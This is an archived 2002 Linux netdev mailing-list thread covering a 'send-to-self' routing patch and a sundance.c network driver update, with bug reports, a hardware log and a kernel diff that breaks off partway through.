X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Ben Greear Date: Wed, 18 Sep 2002 19:07:33 -0700 David S. Miller wrote: > I mean put the ifdefs in a header file such as tcp.h, not in the *.c > code. Would you object to me just removing all of them and having the patch unconditionally compiled in? Your comments say that SIOCBINDTODEVICE behavior is changed, how can we legitimately do that all the time without breaking apps? From greearb@candelatech.com Wed Sep 18 19:59:58 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 20:00:04 -0700 (PDT) Received: from grok.yi.org (IDENT:mvBxv2o7u98grnlDfvPKltG2+0uHlnXL@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J2xntG007292 for ; Wed, 18 Sep 2002 19:59:52 -0700 Received: from candelatech.com (IDENT:2KsR4IIZrhFe73cKC97H9eQEFiCDksSz@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8J34iv12479; Wed, 18 Sep 2002 20:04:46 -0700 Message-ID: <3D893ECC.4020906@candelatech.com> Date: Wed, 18 Sep 2002 20:04:44 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this time] References: <3D890A51.7000103@candelatech.com> <20020918.182855.47438220.davem@redhat.com> <3D893165.10106@candelatech.com> <20020918.190117.53168129.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 274 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev David S. Miller wrote: > From: Ben Greear > Date: Wed, 18 Sep 2002 19:07:33 -0700 > > David S. Miller wrote: > > > I mean put the ifdefs in a header file such as tcp.h, not in the *.c > > code. > > Would you object to me just removing all of them and having the patch > unconditionally compiled in? > > Your comments say that SIOCBINDTODEVICE behavior is changed, how can > we legitimately do that all the time without breaking apps? The old way is broken, it sets the bound-device to 0 when sending the syn-ack. I am not sure exactly how this worked before, or if it even worked at all. I changed it to use the bound_dev_if of the parent socket, which I believe is more correct. --- linux-2.4.19/net/ipv4/ip_output.c Tue Sep 17 23:55:48 2002 +++ linux-2.4.19.dev/net/ipv4/ip_output.c Sun Sep 15 21:19:45 2002 @@ -975,7 +975,11 @@ daddr = replyopts.opt.faddr; } +#ifdef CONFIG_NET_SENDTOSELF + if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), sk->bound_dev_if)) +#else if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), 0)) +#endif return; /* And let IP do all the hard work. It also failed due to the hashing issue, but with the current code, packets to self from self will be dropped before reaching the IP code, so that is not really a bug in the current code. Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From rgooch@vindaloo.ras.ucalgary.ca Wed Sep 18 20:48:14 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 20:48:20 -0700 (PDT) Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J3mDtG007909 for ; Wed, 18 Sep 2002 20:48:14 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id g8J3r5q28456; Wed, 18 Sep 2002 21:53:05 -0600 Date: Wed, 18 Sep 2002 21:53:05 -0600 Message-Id: <200209190353.g8J3r5q28456@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: Jason Lunz Cc: netdev@oss.sgi.com, becker@scyld.com, jgarzik@mandrakesoft.com, "Patrick R. McManus" Subject: Re: [PATCH] 2.4.20-pre sundance.c cleanups In-Reply-To: <20020828231333.GA15183@reflexsecurity.com> References: <20020828185612.GA14342@reflexsecurity.com> <20020828231333.GA15183@reflexsecurity.com> X-archive-position: 275 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgooch@ras.ucalgary.ca Precedence: bulk X-list: netdev Hi, all. I've just taken the patch Jason released on 28-AUG and applied it to 2.4.19. The driver finds my D-Link 580-TX 4-port ethercard, and it seems to be running OK. However, I note a few warts: - the driver is reporting 10 Mbps rather than 100 Mbps. I've actually measured eth0 and eth2 and these are delivering 100 Mbps - I tried to force eth1 to 100 Mbps FD, but I don't know for sure if it's working or not (the switch that eth1 connects to doesn't do autoneg properly, but that network sucks, so it's hard to find the right machine for bandwidth testing). The kernel doesn't report that the interface speed was hard-wired. I'm using this in modules.conf: options sundance media="autosense","100mbps_fd","autosense" I've appended the driver output below. Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca =============================================================================== sundance.c:v1.01d 28-Aug-2002 Written by Donald Becker http://www.scyld.com/network/sundance.html eth0: D-Link DFE-580TX 4 port Server Adapter at 0xc000, 00:05:5d:10:4d:b8, IRQ 5. eth0: MII PHY found at address 0, status 0x782d advertising 01e1. eth0: MII PHY found at address 1, status 0x782d advertising 01e1. eth1: D-Link DFE-580TX 4 port Server Adapter at 0xc400, 00:05:5d:10:4d:b9, IRQ 12. eth1: MII PHY found at address 0, status 0x782d advertising 01e1. eth1: MII PHY found at address 1, status 0x782d advertising 01e1. eth2: D-Link DFE-580TX 4 port Server Adapter at 0xc800, 00:05:5d:10:4d:ba, IRQ 10. eth2: MII PHY found at address 0, status 0x782d advertising 01e1. eth2: MII PHY found at address 1, status 0x782d advertising 01e1. eth3: D-Link DFE-580TX 4 port Server Adapter at 0xcc00, 00:05:5d:10:4d:bb, IRQ 11. eth3: MII PHY found at address 0, status 0x7809 advertising 01e1. eth3: MII PHY found at address 1, status 0x7809 advertising 01e1. eth0: Link changed: Autonegotiation advertising 10Mbps full duplex, partner 10Mbps full duplex. eth0: Setting full-duplex based on MII #0 negotiated capability 01e1. eth1: Link changed: Autonegotiation advertising 10Mbps full duplex, partner 10Mbps full duplex. eth1: Setting full-duplex based on MII #0 negotiated capability 0100. eth2: Link changed: Autonegotiation advertising 10Mbps full duplex, partner 10Mbps full duplex. eth2: Setting full-duplex based on MII #0 negotiated capability 01e1. From lunz@falooley.org Wed Sep 18 21:09:46 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 21:09:52 -0700 (PDT) Received: from orr.homenet (dsl-65-188-251-69.telocity.com [65.188.251.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J49jtG008453 for ; Wed, 18 Sep 2002 21:09:46 -0700 Received: from lunz by orr.homenet with local (Exim 3.35 #1 (Debian)) id 17rshX-0002lY-00; Thu, 19 Sep 2002 00:14:03 -0400 Date: Thu, 19 Sep 2002 00:14:03 -0400 To: Richard Gooch Cc: netdev@oss.sgi.com, becker@scyld.com, jgarzik@mandrakesoft.com, "Patrick R. McManus" Subject: Re: [PATCH] 2.4.20-pre sundance.c cleanups Message-ID: <20020919041403.GA10527@orr.falooley.org> References: <20020828185612.GA14342@reflexsecurity.com> <20020828231333.GA15183@reflexsecurity.com> <200209190353.g8J3r5q28456@vindaloo.ras.ucalgary.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200209190353.g8J3r5q28456@vindaloo.ras.ucalgary.ca> User-Agent: Mutt/1.4i From: Jason Lunz X-archive-position: 276 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lunz@falooley.org Precedence: bulk X-list: netdev On Wed, Sep 18, 2002 at 9:53PM -0600, Richard Gooch wrote: > - the driver is reporting 10 Mbps rather than 100 Mbps. I've actually > measured eth0 and eth2 and these are delivering 100 Mbps i've noticed this too, and it's probably from all the mucking about I did trying to combine becker's method of forcing duplex/speed with the one in 2.4.19. That stuff is unrelated to the other, more-important merges I did that actually affect how well the card works. Jeff rightly pointed out that I should separate out chunks of the patch for submission, but I haven't had time. This card is still nowhere near working well, even with my patch. It silently drops many frames when simultaneously sending and receiving at high packet rates. It also locks up under load, and is reset in tx_timeout. This happens less frequently with my patch, but is not entirely gone. Also, I need to investigate yet another variation on this driver, as pointed out in http://www.ussg.iu.edu/hypermail/linux/kernel/0209.0/1107.html Jason From jgarzik@mandrakesoft.com Wed Sep 18 21:20:32 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 21:20:37 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J4KVtG009312 for ; Wed, 18 Sep 2002 21:20:31 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rssf-0006JP-00; Thu, 19 Sep 2002 05:25:33 +0100 Message-ID: <3D89519C.1020809@mandrakesoft.com> Date: Thu, 19 Sep 2002 00:25:00 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com CC: Jason Lunz , Richard Gooch , becker@scyld.com, "Patrick R. McManus" , Linux Kernel Mailing List Subject: [PATCH] 2.4.20-pre sundance.c update References: <20020828185612.GA14342@reflexsecurity.com> <20020828231333.GA15183@reflexsecurity.com> <200209190353.g8J3r5q28456@vindaloo.ras.ucalgary.ca> <20020919041403.GA10527@orr.falooley.org> Content-Type: multipart/mixed; boundary="------------010306010007070509070106" X-archive-position: 277 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------010306010007070509070106 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Attached is the patch I have against 2.4.20-pre-latest, to start fixing from as a baseline. It still has several flaws that were pointed out, but this is the base from which I would like testing and patching to proceed. (also hopefully the flaws are minor in terms of general operation) Jeff --------------010306010007070509070106 Content-Type: text/plain; name="sundance-2.4.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="sundance-2.4.patch" diff -Nru a/drivers/net/sundance.c b/drivers/net/sundance.c --- a/drivers/net/sundance.c Thu Sep 19 00:22:26 2002 +++ b/drivers/net/sundance.c Thu Sep 19 00:22:26 2002 @@ -21,22 +21,30 @@ Version 1.01a (jgarzik): - Replace some MII-related magic numbers with constants - Version 1.01b (D-Link): + Version 1.02 (D-Link): - Add new board to PCI ID list + - Fix multicast bug + Version 1.03 (D-Link): + - New Rx scheme, reduce Rx congestion + - Option to disable flow control + + Version 1.04 (D-Link): + - Tx timeout recovery + - More support for ethtool. */ #define DRV_NAME "sundance" -#define DRV_VERSION "1.01b" -#define DRV_RELDATE "17-Jan-2002" +#define DRV_VERSION "1.04" +#define DRV_RELDATE "19-Aug-2002" /* The user-configurable values. These may be modified when a driver module is loaded.*/ static int debug = 1; /* 1 normal messages, 0 quiet .. 7 verbose. */ /* Maximum events (Rx packets, etc.) to handle at each interrupt. */ -static int max_interrupt_work = 30; +static int max_interrupt_work = 0; static int mtu; /* Maximum number of multicast addresses to filter (vs. rx-all-multicast). Typical is a 64 element hash table based on the Ethernet CRC. */ @@ -47,6 +55,8 @@ This chip can receive into offset buffers, so the Alpha does not need a copy-align. */ static int rx_copybreak; +static int tx_coalesce=1; +static int flowctrl=1; /* media[] specifies the media type the NIC operates at. autosense Autosensing active media. @@ -70,9 +80,10 @@ bonding and packet priority, and more than 128 requires modifying the Tx error recovery. Large receive rings merely waste memory. */ -#define TX_RING_SIZE 16 -#define TX_QUEUE_LEN 10 /* Limit ring entries actually used. */ -#define RX_RING_SIZE 32 +#define TX_RING_SIZE 64 +#define TX_QUEUE_LEN (TX_RING_SIZE - 1) /* Limit ring entries actually used. */ +#define RX_RING_SIZE 64 +#define RX_BUDGET 32 #define TX_TOTAL_SIZE TX_RING_SIZE*sizeof(struct netdev_desc) #define RX_TOTAL_SIZE RX_RING_SIZE*sizeof(struct netdev_desc) @@ -107,13 +118,17 @@ #include #include #include -#include #include #include /* Processor type for cache alignment. */ #include #include #include #include +#ifndef _LOCAL_CRC32 +#include +#else +#include "crc32.h" +#endif /* These identify the driver base version and may not be removed. */ static char version[] __devinitdata = @@ -129,10 +144,12 @@ MODULE_PARM(debug, "i"); MODULE_PARM(rx_copybreak, "i"); MODULE_PARM(media, "1-" __MODULE_STRING(MAX_UNITS) "s"); +MODULE_PARM(flowctrl, "i"); MODULE_PARM_DESC(max_interrupt_work, "Sundance Alta maximum events handled per interrupt"); MODULE_PARM_DESC(mtu, "Sundance Alta MTU (all boards)"); MODULE_PARM_DESC(debug, "Sundance Alta debug level (0-5)"); MODULE_PARM_DESC(rx_copybreak, "Sundance Alta copy breakpoint for copy-only-tiny-frames"); +MODULE_PARM_DESC(flowctrl, "Sundance Alta flow control [0|1]"); /* Theory of Operation @@ -207,7 +224,6 @@ */ - enum pci_id_flags_bits { /* Set PCI command register bits before calling probe1(). */ @@ -290,20 +306,24 @@ enum alta_offsets { DMACtrl = 0x00, TxListPtr = 0x04, - TxDMACtrl = 0x08, - TxDescPoll = 0x0a, + TxDMABurstThresh = 0x08, + TxDMAUrgentThresh = 0x09, + TxDMAPollPeriod = 0x0a, RxDMAStatus = 0x0c, RxListPtr = 0x10, - RxDMACtrl = 0x14, - RxDescPoll = 0x16, + RxDMABurstThresh = 0x14, + RxDMAUrgentThresh = 0x15, + RxDMAPollPeriod = 0x16, LEDCtrl = 0x1a, ASICCtrl = 0x30, EEData = 0x34, EECtrl = 0x36, - TxThreshold = 0x3c, + TxStartThresh = 0x3c, + RxEarlyThresh = 0x3e, FlashAddr = 0x40, FlashData = 0x44, TxStatus = 0x46, + TxFrameId = 0x47, DownCounter = 0x18, IntrClear = 0x4a, IntrEnable = 0x4c, @@ -337,6 +357,16 @@ /* Aliased and bogus values! */ RxStatus = 0x0c, }; +enum ASICCtrl_HiWord_bit { + GlobalReset = 0x0001, + RxReset = 0x0002, + TxReset = 0x0004, + DMAReset = 0x0008, + FIFOReset = 0x0010, + NetworkReset = 0x0020, + HostReset = 0x0040, + ResetBusy = 0x0400, +}; /* Bits in the interrupt status/mask registers. */ enum intr_status_bits { @@ -399,19 +429,20 @@ struct timer_list timer; /* Media monitoring timer. */ /* Frequently used values: keep some adjacent for cache effect. */ spinlock_t lock; + spinlock_t rx_lock; /* Group with Tx control cache line. */ int chip_id, drv_flags; unsigned int cur_rx, dirty_rx; /* Producer/consumer ring indices */ unsigned int rx_buf_sz; /* Based on MTU+slack. */ - spinlock_t txlock; /* Group with Tx control cache line. */ struct netdev_desc *last_tx; /* Last Tx descriptor used. */ unsigned int cur_tx, dirty_tx; - unsigned int tx_full:1; /* The Tx queue is full. */ /* These values are keep track of the transceiver/media in use. */ unsigned int full_duplex:1; /* Full-duplex operation requested. */ - unsigned int medialock:1; /* Do not sense media. */ + unsigned int flowctrl:1; unsigned int default_port:4; /* Last dev->if_port value. */ unsigned int an_enable:1; unsigned int speed; + struct tasklet_struct rx_tasklet; + int budget; /* Multicast and receive mode. */ spinlock_t mcastlock; /* SMP lock multicast updates. */ u16 mcast_filter[4]; @@ -424,6 +455,9 @@ /* The station address location in the EEPROM. */ #define EEPROM_SA_OFFSET 0x10 +#define DEFAULT_INTR (IntrRxDMADone | IntrPCIErr | \ + IntrDrvRqst | IntrTxDone | StatsMax | \ + LinkChange) static int eeprom_read(long ioaddr, int location); static int mdio_read(struct net_device *dev, int phy_id, int location); @@ -434,9 +468,11 @@ static void tx_timeout(struct net_device *dev); static void init_ring(struct net_device *dev); static int start_tx(struct sk_buff *skb, struct net_device *dev); +static int reset_tx (struct net_device *dev, int irq); static void intr_handler(int irq, void *dev_instance, struct pt_regs *regs); +static void rx_poll(unsigned long data); +static void refill_rx (struct net_device *dev); static void netdev_error(struct net_device *dev, int intr_status); -static int netdev_rx(struct net_device *dev); static void netdev_error(struct net_device *dev, int intr_status); static void set_rx_mode(struct net_device *dev); static struct net_device_stats *get_stats(struct net_device *dev); @@ -502,6 +538,7 @@ np->drv_flags = pci_id_tbl[chip_idx].drv_flags; np->pci_dev = pdev; spin_lock_init(&np->lock); + tasklet_init(&np->rx_tasklet, rx_poll, (unsigned long)dev); ring_space = pci_alloc_consistent(pdev, TX_TOTAL_SIZE, &ring_dma); if (!ring_space) @@ -582,6 +619,12 @@ np->an_enable = 1; } } + if (tx_coalesce < 1) + tx_coalesce = 1; + else if (tx_coalesce > TX_QUEUE_LEN - 1) + tx_coalesce = TX_QUEUE_LEN - 1; + if (flowctrl == 0) + np->flowctrl = 0; } /* Fibre PHY? */ @@ -742,7 +785,6 @@ return; } - static int netdev_open(struct net_device *dev) { struct netdev_private *np = dev->priv; @@ -779,14 +821,10 @@ writew(0, ioaddr + IntrEnable); writew(0, ioaddr + DownCounter); /* Set the chip to poll every N*320nsec. */ - writeb(100, ioaddr + RxDescPoll); - writeb(127, ioaddr + TxDescPoll); + writeb(100, ioaddr + RxDMAPollPeriod); + writeb(127, ioaddr + TxDMAPollPeriod); netif_start_queue(dev); - /* Enable interrupts by setting the interrupt mask. */ - writew(IntrRxDone | IntrRxDMADone | IntrPCIErr | IntrDrvRqst | IntrTxDone - | StatsMax | LinkChange, ioaddr + IntrEnable); - writew(StatsEnable | RxEnable | TxEnable, ioaddr + MACCtrl1); if (debug > 2) @@ -802,6 +840,9 @@ np->timer.data = (unsigned long)dev; np->timer.function = &netdev_timer; /* timer handler */ add_timer(&np->timer); + + /* Enable interrupts by setting the interrupt mask. */ + writew(DEFAULT_INTR, ioaddr + IntrEnable); return 0; } @@ -855,9 +896,12 @@ { struct netdev_private *np = dev->priv; long ioaddr = dev->base_addr; + long flag; - printk(KERN_WARNING "%s: Transmit timed out, status %2.2x," - " resetting...\n", dev->name, readb(ioaddr + TxStatus)); + printk(KERN_WARNING "%s: Transmit timed out, TxStatus %2.2x " + "TxFrameId %2.2x," + " resetting...\n", dev->name, readb(ioaddr + TxStatus), + readb(ioaddr + TxFrameId)); { int i; @@ -866,22 +910,24 @@ printk(" %8.8x", (unsigned int)np->rx_ring[i].status); printk("\n"KERN_DEBUG" Tx ring %p: ", np->tx_ring); for (i = 0; i < TX_RING_SIZE; i++) - printk(" %4.4x", np->tx_ring[i].status); + printk(" %8.8x", np->tx_ring[i].status); printk("\n"); } + spin_lock_irqsave(&np->lock, flag); + reset_tx(dev, 0); + spin_unlock_irqrestore(&np->lock, flag); /* Perhaps we should reinitialize the hardware here. */ dev->if_port = 0; /* Stop and restart the chip's Tx processes . */ /* Trigger an immediate transmit demand. */ - writew(IntrRxDone | IntrRxDMADone | IntrPCIErr | IntrDrvRqst | IntrTxDone - | StatsMax | LinkChange, ioaddr + IntrEnable); + writew(DEFAULT_INTR, ioaddr + IntrEnable); dev->trans_start = jiffies; np->stats.tx_errors++; - if (!np->tx_full) + if (!netif_queue_stopped(dev)) netif_wake_queue(dev); } @@ -892,7 +938,6 @@ struct netdev_private *np = dev->priv; int i; - np->tx_full = 0; np->cur_rx = np->cur_tx = 0; np->dirty_rx = np->dirty_tx = 0; @@ -929,15 +974,16 @@ return; } -static int start_tx(struct sk_buff *skb, struct net_device *dev) +static int +start_tx (struct sk_buff *skb, struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct netdev_private *np = (struct netdev_private *) dev->priv; struct netdev_desc *txdesc; unsigned entry; + long ioaddr = dev->base_addr; /* Note: Ordering is important here, set the field with the "ownership" bit last, and only then increment cur_tx. */ - /* Calculate the next Tx descriptor entry. */ entry = np->cur_tx % TX_RING_SIZE; np->tx_skbuff[entry] = skb; @@ -945,11 +991,17 @@ txdesc->next_desc = 0; /* Note: disable the interrupt generation here before releasing. */ - txdesc->status = - cpu_to_le32((entry<<2) | DescIntrOnDMADone | DescIntrOnTx | DisableAlign); - txdesc->frag[0].addr = cpu_to_le32(pci_map_single(np->pci_dev, - skb->data, skb->len, PCI_DMA_TODEVICE)); - txdesc->frag[0].length = cpu_to_le32(skb->len | LastFrag); + if (entry % tx_coalesce == 0) { + txdesc->status = cpu_to_le32 ((entry << 2) | + DescIntrOnTx | DisableAlign); + + } else { + txdesc->status = cpu_to_le32 ((entry << 2) | DisableAlign); + } + txdesc->frag[0].addr = cpu_to_le32 (pci_map_single (np->pci_dev, skb->data, + skb->len, + PCI_DMA_TODEVICE)); + txdesc->frag[0].length = cpu_to_le32 (skb->len | LastFrag); if (np->last_tx) np->last_tx->next_desc = cpu_to_le32(np->tx_ring_dma + entry*sizeof(struct netdev_desc)); @@ -957,24 +1009,63 @@ np->cur_tx++; /* On some architectures: explicitly flush cache lines here. */ - - if (np->cur_tx - np->dirty_tx < TX_QUEUE_LEN - 1) { + if (np->cur_tx - np->dirty_tx < TX_QUEUE_LEN - 1 + && !netif_queue_stopped(dev)) { /* do nothing */ } else { - np->tx_full = 1; - netif_stop_queue(dev); + netif_stop_queue (dev); } /* Side effect: The read wakes the potentially-idle transmit channel. */ - if (readl(dev->base_addr + TxListPtr) == 0) - writel(np->tx_ring_dma + entry*sizeof(*np->tx_ring), + if (readl (dev->base_addr + TxListPtr) == 0) + writel (np->tx_ring_dma + entry*sizeof(*np->tx_ring), dev->base_addr + TxListPtr); dev->trans_start = jiffies; if (debug > 4) { - printk(KERN_DEBUG "%s: Transmit frame #%d queued in slot %d.\n", - dev->name, np->cur_tx, entry); + printk (KERN_DEBUG + "%s: Transmit frame #%d queued in slot %d.\n", + dev->name, np->cur_tx, entry); } + if (tx_coalesce > 1) + writel (1000, ioaddr + DownCounter); + return 0; +} +static int +reset_tx (struct net_device *dev, int irq) +{ + struct netdev_private *np = (struct netdev_private*) dev->priv; + long ioaddr = dev->base_addr; + int i; + int frame_id; + + frame_id = readb(ioaddr + TxFrameId); + writew (TxReset | DMAReset | FIFOReset | NetworkReset, + ioaddr + ASICCtrl + 2); + for (i=50; i > 0; i--) { + if ((readw(ioaddr + ASICCtrl + 2) & ResetBusy) == 0) + break; + mdelay(1); + } + for (; np->cur_tx - np->dirty_tx > 0; np->dirty_tx++) { + int entry = np->dirty_tx % TX_RING_SIZE; + struct sk_buff *skb; + if (!(np->tx_ring[entry].status & 0x00010000)) + break; + skb = np->tx_skbuff[entry]; + /* Free the original skb. */ + pci_unmap_single(np->pci_dev, + np->tx_ring[entry].frag[0].addr, + skb->len, PCI_DMA_TODEVICE); + if (irq) + dev_kfree_skb_irq (np->tx_skbuff[entry]); + else + dev_kfree_skb (np->tx_skbuff[entry]); + + np->tx_skbuff[entry] = 0; + } + writel (np->tx_ring_dma + frame_id * sizeof(*np->tx_ring), + dev->base_addr + TxListPtr); return 0; } @@ -989,83 +1080,88 @@ ioaddr = dev->base_addr; np = dev->priv; - spin_lock(&np->lock); do { int intr_status = readw(ioaddr + IntrStatus); - writew(intr_status & (IntrRxDone | IntrRxDMADone | IntrPCIErr | - IntrDrvRqst | IntrTxDone | IntrTxDMADone | StatsMax | - LinkChange), ioaddr + IntrStatus); + writew(intr_status, ioaddr + IntrStatus); if (debug > 4) printk(KERN_DEBUG "%s: Interrupt, status %4.4x.\n", dev->name, intr_status); - if (intr_status == 0) + if (!(intr_status & DEFAULT_INTR)) break; - if (intr_status & (IntrRxDone|IntrRxDMADone)) - netdev_rx(dev); + if (intr_status & (IntrRxDMADone)) { + writew(DEFAULT_INTR & ~(IntrRxDone|IntrRxDMADone), + ioaddr + IntrEnable); + if (np->budget < 0) + np->budget = RX_BUDGET; + tasklet_schedule(&np->rx_tasklet); + } - if (intr_status & IntrTxDone) { + if (intr_status & (IntrTxDone | IntrDrvRqst)) { int boguscnt = 32; - int tx_status = readw(ioaddr + TxStatus); + int tx_status = readw (ioaddr + TxStatus); while (tx_status & 0x80) { if (debug > 4) - printk("%s: Transmit status is %2.2x.\n", - dev->name, tx_status); + printk + ("%s: Transmit status is %2.2x.\n", + dev->name, tx_status); if (tx_status & 0x1e) { np->stats.tx_errors++; - if (tx_status & 0x10) np->stats.tx_fifo_errors++; + if (tx_status & 0x10) + np->stats.tx_fifo_errors++; #ifdef ETHER_STATS - if (tx_status & 0x08) np->stats.collisions16++; + if (tx_status & 0x08) + np->stats.collisions16++; #else - if (tx_status & 0x08) np->stats.collisions++; + if (tx_status & 0x08) + np->stats.collisions++; #endif - if (tx_status & 0x04) np->stats.tx_fifo_errors++; - if (tx_status & 0x02) np->stats.tx_window_errors++; + if (tx_status & 0x02) + np->stats.tx_window_errors++; /* This reset has not been verified!. */ - if (tx_status & 0x10) { /* Reset the Tx. */ - writew(0x001c, ioaddr + ASICCtrl + 2); -#if 0 /* Do we need to reset the Tx pointer here? */ - writel(np->tx_ring_dma - + np->dirty_tx*sizeof(*np->tx_ring), - dev->base_addr + TxListPtr); -#endif + if (tx_status & 0x10) { /* Reset the Tx. */ + np->stats.tx_fifo_errors++; + spin_lock(&np->lock); + reset_tx(dev, 1); + spin_unlock(&np->lock); } - if (tx_status & 0x1e) /* Restart the Tx. */ - writew(TxEnable, ioaddr + MACCtrl1); + if (tx_status & 0x1e) /* Restart the Tx. */ + writew (TxEnable, + ioaddr + MACCtrl1); } /* Yup, this is a documentation bug. It cost me *hours*. */ - writew(0, ioaddr + TxStatus); - tx_status = readb(ioaddr + TxStatus); + writew (0, ioaddr + TxStatus); + tx_status = readw (ioaddr + TxStatus); if (--boguscnt < 0) break; } } + spin_lock(&np->lock); for (; np->cur_tx - np->dirty_tx > 0; np->dirty_tx++) { int entry = np->dirty_tx % TX_RING_SIZE; struct sk_buff *skb; - - if ( ! (np->tx_ring[entry].status & 0x00010000)) + if (!(np->tx_ring[entry].status & 0x00010000)) break; skb = np->tx_skbuff[entry]; /* Free the original skb. */ pci_unmap_single(np->pci_dev, np->tx_ring[entry].frag[0].addr, skb->len, PCI_DMA_TODEVICE); - dev_kfree_skb_irq(skb); + dev_kfree_skb_irq (np->tx_skbuff[entry]); np->tx_skbuff[entry] = 0; } - if (np->tx_full - && np->cur_tx - np->dirty_tx < TX_QUEUE_LEN - 4) { + spin_unlock(&np->lock); + if (netif_queue_stopped(dev) && + np->cur_tx - np->dirty_tx < TX_QUEUE_LEN - 4) { /* The ring is no longer full, clear tbusy. */ - np->tx_full = 0; - netif_wake_queue(dev); + netif_wake_queue (dev); } /* Abnormal error summary/uncommon events handlers. */ - if (intr_status & (IntrDrvRqst | IntrPCIErr | LinkChange | StatsMax)) + if (intr_status & (IntrPCIErr | LinkChange | StatsMax)) netdev_error(dev, intr_status); if (--boguscnt < 0) { get_stats(dev); @@ -1073,49 +1169,41 @@ printk(KERN_WARNING "%s: Too much work at interrupt, " "status=0x%4.4x / 0x%4.4x.\n", dev->name, intr_status, readw(ioaddr + IntrClear)); - /* Re-enable us in 3.2msec. */ - writew(0, ioaddr + IntrEnable); - writew(1000, ioaddr + DownCounter); - writew(IntrDrvRqst, ioaddr + IntrEnable); break; } } while (1); - if (debug > 3) printk(KERN_DEBUG "%s: exiting interrupt, status=%#4.4x.\n", dev->name, readw(ioaddr + IntrStatus)); + if (np->cur_tx - np->dirty_tx > 0 && tx_coalesce > 1) + writel(100, ioaddr + DownCounter); - spin_unlock(&np->lock); } -/* This routine is logically part of the interrupt handler, but separated - for clarity and better register allocation. */ -static int netdev_rx(struct net_device *dev) +static void rx_poll(unsigned long data) { + struct net_device *dev = (struct net_device *)data; struct netdev_private *np = dev->priv; int entry = np->cur_rx % RX_RING_SIZE; - int boguscnt = np->dirty_rx + RX_RING_SIZE - np->cur_rx; - - if (debug > 4) { - printk(KERN_DEBUG " In netdev_rx(), entry %d status %4.4x.\n", - entry, np->rx_ring[entry].status); - } + int boguscnt = np->budget; + long ioaddr = dev->base_addr; + int received = 0; /* If EOP is set on the next entry, it's a new packet. Send it up. */ while (1) { struct netdev_desc *desc = &(np->rx_ring[entry]); - u32 frame_status; + u32 frame_status = le32_to_cpu(desc->status); int pkt_len; + if (--boguscnt < 0) { + goto not_done; + } if (!(desc->status & DescOwn)) break; - frame_status = le32_to_cpu(desc->status); pkt_len = frame_status & 0x1fff; /* Chip omits the CRC. */ if (debug > 4) printk(KERN_DEBUG " netdev_rx() status was %8.8x.\n", frame_status); - if (--boguscnt < 0) - break; pci_dma_sync_single(np->pci_dev, desc->frag[0].addr, np->rx_buf_sz, PCI_DMA_FROMDEVICE); @@ -1136,7 +1224,6 @@ } } else { struct sk_buff *skb; - #ifndef final_version if (debug > 4) printk(KERN_DEBUG " netdev_rx() normal Rx pkt length %d" @@ -1164,11 +1251,36 @@ netif_rx(skb); dev->last_rx = jiffies; } - entry = (++np->cur_rx) % RX_RING_SIZE; + entry = (entry + 1) % RX_RING_SIZE; + received++; } + np->cur_rx = entry; + refill_rx (dev); + np->budget -= received; + writew(DEFAULT_INTR, ioaddr + IntrEnable); + return; + +not_done: + np->cur_rx = entry; + refill_rx (dev); + if (!received) + received = 1; + np->budget -= received; + if (np->budget <= 0) + np->budget = RX_BUDGET; + tasklet_schedule(&np->rx_tasklet); + return; +} + +static void refill_rx (struct net_device *dev) 